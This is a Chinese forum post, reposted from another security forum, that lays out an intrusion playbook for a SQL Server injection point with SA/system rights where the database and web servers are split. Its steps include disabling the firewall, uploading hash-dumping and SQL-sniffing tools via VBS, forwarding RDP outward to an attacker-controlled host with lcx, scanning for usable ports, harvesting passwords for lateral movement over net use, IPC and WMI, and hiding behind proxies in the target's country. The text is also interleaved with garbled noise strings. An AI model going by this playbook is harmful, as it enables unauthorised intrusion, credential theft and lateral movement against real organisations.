当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
3 b3 j7 l- ?8 U5 {: T6 P' k( A0 v5 a' t$ d# P
, p# N) [; `6 X0 `- O1 |
8 g6 N+ r8 w: m( Z9 R- g
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
5 i- \. H3 @7 C# h5 c- r. Z V4 h. _$ B' A" V, d1 @
1 w: \! p4 n( ~ {9 _! I
一、DB机有公网IP.
1 d2 Q# O6 v/ F* Z
/ y. i' ]8 Q3 p, F: n1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.7 H6 z, S& x/ k: s D
5 D0 t! [6 a4 p: F& n
! a/ Y" j. ]' C1 F: x8 ]& I2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
; F7 ~0 Q( B/ n7 m1 I/ ^8 u7 V0 ]7 C& B" |. _; ?1 r# [
. p; R& ]8 w& B& W7 k3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com
) H) j' t5 x K. E6 t+ f3 H! I* F# M% Q$ U$ q0 ^
; F2 x6 Z) I; p& G9 V4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.
. J: y7 l* M4 F" v
5 U& _8 f: C2 n+ J% x6 [3 n; ~5 w% Y. a0 Z1 m% e, _2 V
4 K2 M1 c, E" r
二、DB机只有内网IP6 c% F2 p. Y7 t/ c& ~
6 q( I( D. {. T; s2 \* F m8 X1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.
& ]5 d" o& p% |& T# Q, s* f! E8 s# t( i
6 u2 I5 Q6 w7 A# E
2:停掉防火墙和IP策略再从内往外扫描.
+ k1 p; @ _$ D% r3 o4 F
: N6 i, ?# w/ ^+ E7 c$ G" U8 p: p8 ^0 n" j! k- V3 D& a1 ` i
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.( T0 E/ w- X6 k( J. O( C
- P! W) T6 Q/ s1 W# T0 O! _0 h' P
4:学会密码规律分析往往会有惊喜.4 z, g( P2 u. T* `
$ v5 d# S+ \6 I3 a& {8 \1 q
5 L# U0 b/ ~. X4 E! W/ G/ Q/ I5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
" @; a/ [+ M1 K J6 N% ~2 ~& m0 M! O4 X: t5 i" L
V3 n7 b8 r/ T0 R% u1 X3 T2 K有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |